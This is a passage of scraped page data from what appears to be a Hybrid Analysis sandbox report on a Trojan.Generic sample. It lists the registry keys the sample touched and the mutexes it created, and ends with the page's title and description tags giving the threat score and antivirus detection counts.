SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\JMAHRDUU","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"JMAHRDUU","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2jhx3er!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2jhx3er!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2jhx3er!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\c:!users!2jhx3er!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\c:!users!2jhx3er!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Local\\c:!users!2jhx3er!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}]}},"report_ids":{"sandbox_job_ids":["5b1df6f07ca3e149ae2b26e9"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample c7693a1e87d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample c7693a1e87d8…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample c7693a1e87d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample c7693a1e87d8…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample c7693a1e87d8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample c7693a1e87d8…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L33","11",{}]]